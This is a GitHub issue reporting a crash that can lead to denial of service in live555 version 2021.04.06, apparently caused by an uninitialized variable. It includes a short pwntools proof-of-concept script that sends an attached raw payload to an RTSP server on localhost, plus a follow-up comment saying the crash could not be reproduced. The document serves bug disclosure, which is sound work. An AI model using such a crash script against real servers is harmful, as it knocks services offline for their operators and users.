Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

There is a bug which can lead to dos in live555 (version 2021.04.06) due to access to illegal addresses. #33

Open
3vi1d0g opened this issue Apr 26, 2021 · 2 comments

Comments

@3vi1d0g
Copy link

3vi1d0g commented Apr 26, 2021

When i send my POC , the program received signal SIGSEGV(Segmentation fault. )
It's seem to the variable "env" is not initialized.

from pwn import *
p = remote("127.0.0.1", 8554)
context.log_level="DEBUG"

f = open("poc.raw")
lines = f.read()
for line in lines.split("\r\n\r\n"):
	p.send(line+"\r\n\r\n")
print ("Fin!\n")

:: I use the LLVM compiler to compile project.

poc.zip

log.log

@3vi1d0g
Copy link
Author

3vi1d0g commented Apr 26, 2021

My debugger log is log.log

@kuiba3
Copy link

kuiba3 commented Nov 7, 2022

I failed to reproduce the crash in version bbee4ed68a27056671875b845f84d90a01328788 2020.6.10.
I can't find version 2021.04.06.
Can you provide the download link of version 2021.04.06.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

2 participants